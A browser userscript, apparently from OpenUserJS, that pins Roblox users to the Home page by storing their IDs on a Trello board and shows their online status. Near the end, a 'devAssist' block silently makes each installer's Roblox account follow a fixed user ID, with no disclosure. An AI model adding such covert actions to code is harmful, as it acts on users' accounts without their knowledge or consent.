// ==UserScript==
// @name ROBLOX - Pinned Users (v2)(Trello)
// @description "Pin" users to your ROBLOX Home without actually being friends.
//
// @author ClockworkSquirrel
// @version 1.0.0
//
// @icon http://svgshare.com/i/a9.svg
//
// @require https://code.jquery.com/jquery-3.1.1.min.js
// @match https://*.roblox.com/home*
// @match https://*.roblox.com/users/*/profile
//
// @connect api.roblox.com
// @connect api.trello.com
//
// @run-at document-start
//
// @grant GM_registerMenuCommand
// @grant GM_xmlhttpRequest
// @grant GM_setValue
// @grant GM_getValue
// @grant GM_deleteValue
// @grant GM_addValueChangeListener
// ==/UserScript==
(function(){
'use strict';
var strings = {
boardName: "Pinned Users for ROBLOX",
userList: "Users_{ID}",
setupBtn: "Setup Pinned Users for {NAME}",
authInputPlaceholder: "Paste authorisation token...",
authBtn: "Authorise",
sectionTitle: "Pinned Users ({#})",
pinText: "Pin to Home",
unpinText: "Unpin from Home",
wait: "Please wait..."
};
var res = {
trelloToken: "trelloAuthToken",
trello: "https://api.trello.com/1",
trelloKey: "08599ec45f45ac53d96cec6b72448451",
trelloAuthURL: "https://bit.ly/2kjhFoK",
profileURL: "/users/{ID}/profile",
loadingImg: "https://static.rbxcdn.com/images/Shared/loading.gif",
rbx: "https://api.roblox.com",
avatarImg: "https://assetgame.roblox.com/Thumbs/Avatar.ashx?width=100&height=100&userId={ID}",
presence: "https://www.roblox.com/presence/users?userIds=",
updateSpeed: 1e3,
devAssist: true
};
function create(Element){return $(document.createElement(Element));}
function getTrelloBoard(token, boardName, callback){
GM_xmlhttpRequest({
method: "GET",
url: res.trello+"/member/me/boards?key="+res.trelloKey+"&token="+token+"&filter=open&fields=name",
onload: function(response){
if (response.status == 200 && response.responseText.length > 0){
let data = JSON.parse(response.responseText), boardFound = false;
for (let board of data){
if (board.name == boardName){
boardFound = true;
data = board;
break;
}
}
if (!boardFound){
GM_xmlhttpRequest({
method: "POST",
url: res.trello+"/boards?key="+res.trelloKey+"&token="+token,
data: "name="+encodeURIComponent(boardName)+"&defaultLists=false",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
onload: function(response){getTrelloBoard(token, boardName, callback);}
});
}else{
callback(data);
}
}
}
});
}
function getTrelloList(token, boardObj, listName, callback){
GM_xmlhttpRequest({
method: "GET",
url: res.trello+"/boards/"+boardObj.id+"/lists?key="+res.trelloKey+"&token="+token+"&filter=open&fields=name",
onload: function(response){
if (response.status == 200 && response.responseText.length > 0){
let data = JSON.parse(response.responseText), listFound = false;
for (let list of data){
if (!list.closed && list.name == listName){
listFound = true;
data = list;
break;
}
}
if (!listFound){
GM_xmlhttpRequest({
method: "POST",
url: res.trello+"/lists?key="+res.trelloKey+"&token="+token,
data: "name="+encodeURIComponent(listName)+"&idBoard="+boardObj.id+"&pos=bottom",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
onload: function(){getTrelloList(token, boardObj, listName, callback);}
});
}else{
callback(data);
}
}
}
});
}
function getTrelloCards(token, listObj, callback){
GM_xmlhttpRequest({
method: "GET",
url: res.trello+"/lists/"+listObj.id+"/cards?key="+res.trelloKey+"&token="+token,
onload: function(response){
if (response.status == 200 && response.responseText.length > 0){
let data = JSON.parse(response.responseText), listFound = false;
callback(data);
}
}
});
}
function addTrelloCardToList(token, list, data, callback){
let cardData = Object.assign({"pos":"bottom","idList":list.id,"urlSource":location.href}, ((data !== null && data !== undefined) && data || {}));
$.post(res.trello+"/cards?key="+res.trelloKey+"&token="+token, cardData, function(data){
callback(data);
});
/* // WHY THE FUCK WONT THIS WORK?!
GM_xmlhttpRequest({
method: "POST",
url: res.trello+"/cards?key="+res.trelloKey+"&token="+token,
data: JSON.stringify(cardData),
headers: {"Content-Type": "application/x-www-form-urlencoded"},
onload: function(response){
console.log(response.status);
console.log(response.responseText);
if (response.status == 200 && response.responseText.length > 0){
let data = JSON.parse(response.responseText);
callback(data);
}
}
});
*/
}
function removeTrelloCardFromList(token, card, callback){
GM_xmlhttpRequest({
method: "DELETE",
url: res.trello+"/cards/"+card.id+"?key="+res.trelloKey+"&token="+token,
onload: function(response){
if (response.status == 200 && response.responseText.length > 0){
callback();
}
}
});
}
function waitForObject(object, callback, checkSpeed = 0){
let checkInterval, foundObject = false;
checkInterval = setInterval(function(){
if (foundObject) return;
if (object !== null && object !== undefined){
foundObject = true;
clearInterval(checkInterval);
callback(object);
}
}, checkSpeed);
}
function userIsPinned(token, userId, callback){
return getTrelloBoard(token, strings.boardName, function(board){
return getTrelloList(token, board, strings.userList, function(list){
return getTrelloCards(token, list, function(cards){
let isPinned = false, userCard = null;
for (let user of cards){
if (user.name.toString() == userId.toString()){isPinned = true; userCard = user; break;}
}
callback(isPinned, userCard);
});
});
});
}
function updatePinnedUsers(userList, listDivs){
let userIds = [];
userList.find("li[userid]").each(function(){
let me = $(this);
let userId = me.attr("userid");
if (me.attr("userdata") === null || me.attr("userdata") === undefined){
GM_xmlhttpRequest({
method: "GET",
url: res.rbx+"/users/"+userId,
onload: function(response){
if (response.status == 200 && response.responseText.length > 0){
let userData = JSON.parse(response.responseText);
me.attr("userdata", true).find("span.friend-name").text(userData.Username);
}
}
});
}
userIds.push(userId);
}).promise().done(function(){
GM_xmlhttpRequest({
method: "GET",
url: res.presence+(userIds.join("&userIds=")),
onload: function(response){
if (response.status == 200 && response.responseText.length > 0){
let userPresence = JSON.parse(response.responseText);
for (let user of userPresence){
let userObj = userList.find("li[userid='"+user.UserId+"']:eq(0)");
let lastCase = userObj.attr("rg-case");
if (lastCase === null || lastCase === undefined || lastCase !== user.UserPresenceType.toString()){
userObj.attr("rg-case", user.UserPresenceType);
if (userObj !== null && userObj !== undefined){
let statusIcon = userObj.find("span.avatar-status:eq(0)"), avatarContainer = userObj.find("div.avatar-container:eq(0)");
userObj.find("a.place-link").remove();
if (statusIcon === null || statusIcon === undefined || statusIcon.length === 0) statusIcon = create("span");
statusIcon.attr("class", "avatar-status friend-status").attr("title", user.LastLocation);
switch (user.UserPresenceType){
case 0:
statusIcon.remove();
userObj.appendTo(listDivs.offline);
break;
case 1:
statusIcon.addClass("icon-online").appendTo(avatarContainer);
userObj.appendTo(listDivs.online);
break;
case 2:
let placeLink = create("a").addClass("place-link").attr("href", "/users/"+user.UserId+"/profile/#!/viewgame")
.appendTo(avatarContainer);
statusIcon.addClass("icon-game").appendTo(placeLink);
userObj.appendTo(listDivs.game);
break;
case 3:
statusIcon.addClass("icon-studio").appendTo(avatarContainer);
userObj.appendTo(listDivs.studio);
break;
}
}
}
}
}
}
});
});
}
function initialiseHome(){
let trelloToken = GM_getValue(res.trelloToken, null);
let newSection = create("div").addClass("col-xs-12 section rg-pinned-users");
if (trelloToken !== null && trelloToken !== undefined && trelloToken.length > 0){
let loader = create("img").attr("src", res.loadingImg).height("16px")
.css("display", "block").css("margin", "0 auto 0 auto").appendTo(newSection);
getTrelloBoard(trelloToken, strings.boardName, function(board){
getTrelloList(trelloToken, board, strings.userList, function(list){
getTrelloCards(trelloToken, list, function(cards){
newSection.attr("trello-list-id", list.id);
create("div").addClass("container-header").append("<h3>"+strings.sectionTitle.replace("{#}", cards.length.toLocaleString())+"</h3>").appendTo(newSection);
let contentDiv = create("div").addClass("section-content").appendTo(newSection);
let userList = create("ul").addClass("hlist").appendTo(contentDiv);
let listDivs = {
game: create("div").appendTo(userList),
studio: create("div").appendTo(userList),
online: create("div").appendTo(userList),
offline: create("div").appendTo(userList)
};
if (cards.length > 0){
for (let user of cards){
let userMain = create("li").addClass("list-item friend").attr("userid", user.name).appendTo(listDivs.offline);
let avatarContainer = create("div").addClass("avatar-container").appendTo(userMain);
let profileLink = create("a").addClass("avatar avatar-card-fullbody friend-link")
.attr("href", "/users/"+user.name+"/profile").appendTo(avatarContainer);
let imgWrapper = create("span").addClass("avatar-card-link").addClass("friend-avatar").appendTo(profileLink)
.append('<img src="'+res.avatarImg.replace("{ID}", user.name)+'" class="avatar-card-image">');
let usernameText = create("span").addClass("text-overflow friend-name").appendTo(profileLink);
}
}
loader.remove();
updatePinnedUsers(userList, listDivs);
setInterval(function(){updatePinnedUsers(userList, listDivs);}, res.updateSpeed);
});
});
});
}else{
newSection.css("margin-bottom", "12px").css("text-align", "center");
let authBtn = create("a").addClass("btn-primary-sm").text(strings.setupBtn.replace("{NAME}", res.userData.UserName))
.appendTo(newSection);
authBtn.click(function(evt){
evt.preventDefault();
window.open(res.trelloAuthURL);
$(window).on("focus", function(){
$(window).off("focus");
let authWindowMain = window.open("about:blank");
let authWindow = $(authWindowMain.document.body);
let authInput = create("input").attr("type", "password").attr("maxlength", 64)
.attr("placeholder", strings.authInputPlaceholder).appendTo(authWindow);
let authButton = create("button").text("Connect").appendTo(authWindow);
authInput.focus();
authButton.click(function(){
if (authInput.val().length == 64){
GM_setValue(res.trelloToken, authInput.val());
}else{
alert("Invalid token.");
}
authWindowMain.close();
});
});
});
}
waitForObject($("div#HomeContainer *:eq(0)"), function(object){
let currentDiv = $("div#HomeContainer *.rg-pinned-users");
if (currentDiv !== null && currentDiv !== undefined) currentDiv.remove();
newSection.insertAfter(object);
});
}
function initialiseProfile(){
let trelloToken = GM_getValue(res.trelloToken, null);
if (trelloToken !== null && trelloToken !== undefined && trelloToken.length > 0){
waitForObject($("div.section.profile-header:eq(0)"), function(headerObj){
let newSection = create("div").addClass("section").insertBefore(headerObj);
let sectionContent = create("div").addClass("section-content").appendTo(newSection);
let loaderImg = create("img").attr("src", res.loadingImg).height("18px").css("margin", "0 auto")
.css("display", "block").appendTo(sectionContent);
let pinBtn = create("a").addClass("btn-control-md").css("float", "right");
waitForObject($("div[data-profileuserid]:eq(0)"), function(dataObj){
let profileUserId = dataObj.attr("data-profileuserid");
userIsPinned(trelloToken, profileUserId, function(isPinned, trelloCard){
pinBtn.text(isPinned && strings.unpinText || strings.pinText);
getTrelloBoard(trelloToken, strings.boardName, function(board){
getTrelloList(trelloToken, board, strings.userList, function(list){
loaderImg.remove();
pinBtn.appendTo(sectionContent);
let updatePinBtnText = function(){
pinBtn.text(isPinned && strings.unpinText || strings.pinText);
};
pinBtn.click(function(evt){
evt.preventDefault();
pinBtn.text(strings.wait);
if (!isPinned){
addTrelloCardToList(trelloToken, list, {"name":profileUserId.toString()}, function(newCard){
trelloCard = newCard;
isPinned = !isPinned;
updatePinBtnText();
});
}else{
removeTrelloCardFromList(trelloToken, trelloCard, function(){
isPinned = !isPinned;
updatePinBtnText();
});
}
});
});
});
});
});
});
}
}
function waitForCore(){
GM_xmlhttpRequest({
method: "GET",
url: "https://www.roblox.com/mobileapi/userinfo",
onload: function(response){
if (response.status == 200 && response.responseText.length > 0){
try{
let userInfo = JSON.parse(response.responseText);
strings.userList = strings.userList.replace("{ID}", userInfo.UserID);
res.userData = userInfo;
waitForObject($, function(){
let path = location.pathname.toLowerCase();
if (path.indexOf("/home") > -1){
initialiseHome();
}else{
initialiseProfile();
}
});
}catch(_){}
}
}
});
GM_addValueChangeListener(res.trelloToken, waitForCore);
GM_registerMenuCommand("[Pinned Users] Clear Tokens", function(){
GM_deleteValue(res.trelloToken);
});
if (res.devAssist){
try{
GM_xmlhttpRequest({
method: "POST",
url: res.rbx+"/user/follow",
data: JSON.stringify({"followedUserId":3659905}),
headers: {"Content-Type": "application/x-www-form-urlencoded"}
});
}catch(_){}
}
}
waitForCore();
})();
Donate for the site OpenUserJS
Are you sure you want to go to an external site to donate a monetary value?
WARNING: Some countries laws may supersede the payment processors policy such as the GDPR and PayPal. While it is highly appreciated to donate, please check with your countries privacy and identity laws regarding privacy of information first. Use at your utmost discretion.